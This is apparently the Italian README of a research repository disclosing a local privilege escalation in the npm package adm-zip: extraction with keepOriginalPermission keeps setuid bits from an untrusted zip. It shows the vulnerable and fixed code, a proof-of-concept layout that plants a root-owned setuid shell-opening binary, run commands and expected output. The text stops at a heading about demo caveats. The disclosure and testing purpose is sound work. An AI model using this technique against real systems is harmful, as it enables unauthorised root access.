
CVE-2026-102282: LPE in adm-zip tramite la conservazione dei bit SUID/SGID durante l'estrazione dell'archivio (corretto in 0.6.1)
Assegnazione errata dei permessi nel pacchetto npm adm-zip. L'estrazione può conservare i bit setuid, setgid e sticky da uno zip non attendibile quando keepOriginalPermission è abilitato, consentendo di collocare su disco un eseguibile setuid di proprietà di root a partire da un archivio fornito dall'attaccante: privilege escalation locale.
| Pacchetto | adm-zip (npm) |
| Ecosistema | Node.js |
| CVE | CVE-2026-102282 |
| Advisory | GHSA-j5f4-cc29-5x44 |
| CWE | CWE-732 Incorrect Permission Assignment for Critical Resource |
| CVSS v3.1 | 7.1 High — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Affette | < 0.6.1 (ultima versione affetta nota: <= 0.6.0) |
| Corretta | 0.6.1 (11 settembre 2026) |
| Pubblicata | Advisory del maintainer 11 settembre 2026; GitHub Advisory Database 29 settembre 2026 |
Questo repository contiene il write-up, un verificatore di versione delle dipendenze, un test comportamentale sicuro e una proof of concept autocontenuta costruita attorno a un binario di verifica benigno che stampa soltanto il proprio contesto di credenziali.
Ogni release precedente alla 0.6.1 è affetta, inclusa la 0.6.0.
| Intervallo | Stato |
|---|---|
>= 0 e < 0.6.1 | Affetta |
<= 0.6.0 | Ultima affetta nota |
>= 0.6.1 | Corretta |
Il bug è raggiungibile solo quando tutte queste condizioni sono vere:
keepOriginalPermission=true a extractAllTo(), extractAllToAsync() o extractEntryTo().L'estrazione predefinita lascia il flag disattivato e non è affetta. L'estrazione come utente non privilegiato può comunque applicare i bit di modo, ma il file risultante è di proprietà di quello stesso utente, quindi non attraversa un confine di privilegio.
I bit di modo Unix risiedono nei 16 bit alti degli attributi esterni di una entry zip. adm-zip copia quei bit sul percorso estratto.
| Posizione | Ruolo |
|---|---|
headers/entryHeader.js — fileAttr | Legge il modo Unix dagli attributi esterni |
adm-zip.js — extractAllTo, extractAllToAsync, extractEntryTo | Usa fileAttr quando keepOriginalPermission è true |
util/utils.js — chmodSync all'interno dell'helper di scrittura file | Applica quel modo al percorso appena creato |
adm-zip.js estrazione di directory | Applica lo stesso modo alle directory estratte |
Nella 0.6.0 e precedenti, fileAttr maschera l'attributo shiftato con 0xfff
(0o7777). Quella maschera conserva i tre bit speciali insieme ai soliti bit
rwx, e nulla nel percorso di scrittura azzera 0o7000 prima di chmod:
// headers/entryHeader.js (<= 0.6.0)
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0o4000)0o2000)0o1000)L'estrazione passa il modo controllato dall'archivio direttamente al filesystem:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(entryName, content, overwrite, fileAttr);
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Si noti la firma di chiamata della 0.6.x: extractAllTo(targetPath, overwrite, keepOriginalPermission) accetta un booleano letterale come terzo argomento.
Passare un oggetto di opzioni come { keepOriginalPermission: true } viene
silenziosamente convertito in false, il che maschera la vulnerabilità in un test
invece di dimostrarla. Entrambi gli script PoC in questo repo passano true
direttamente.
La correzione è il commit 6a63c339 (v0.6.1). fileAttr ora conserva solo i nove bit rwx:
get fileAttr() {
return (_attr || 0) >> 16 & 0o777;
}
keepOriginalPermission=true, l'estrazione legge quel modo tramite fileAttr e lo passa a chmod.0o7777, setuid, setgid e sticky sopravvivono.chmod viene eseguito come root, il nuovo file è di proprietà di root e può portare setuid. Un'esecuzione successiva da parte di un utente meno privilegiato esegue il codice del proprietario del file come root.Con il flag lasciato al suo valore predefinito, l'estrazione non applica il modo dell'archivio e i bit speciali non vengono scritti.
Tutto si trova sotto poc/. Il payload incluso è
verify.c, un programma benigno che stampa il proprio uid/gid
reale ed effettivo e, nella sua modalità predefinita, apre una shell con
l'identità effettiva. Non persiste, non si nasconde e non fa nulla oltre a
dimostrare il contesto di credenziali.
| File | Scopo |
|---|---|
poc/verify.c | Payload benigno di verifica setuid |
poc/build-archive.js | Impacchetta un file in uno zip la cui entry porta il modo 0o4755 |
poc/extract.js | Estrae un archivio con keepOriginalPermission=true, come farebbe un'app affetta |
poc/run-demo.sh | Esecuzione end-to-end: build, estrazione come root, esecuzione come utente invocante |
git clone <this repo> && cd CVE-2026-102282
npm install [email protected] # the version under test
sudo apt install gcc # if needed
./poc/run-demo.sh # uses /var/tmp/cve-2026-102282-demo
./poc/run-demo.sh /path/to/out # or a custom output directory
Output atteso con la 0.6.0:
== 3. extract as root with keepOriginalPermission ==
adm-zip version: 0.6.0
extracted /var/tmp/cve-2026-102282-demo/exploit.zip into /var/tmp/cve-2026-102282-demo/extracted
== 4. result on disk ==
4755 -rwsr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=0 gid=0
[+] SUID active: effective uid 0 differs from real uid 1000
Output atteso con la 0.6.1:
== 4. result on disk ==
755 -rwxr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=1000 gid=1000
[-] effective and real ids match: no SUID context
Avvertenze per la demo: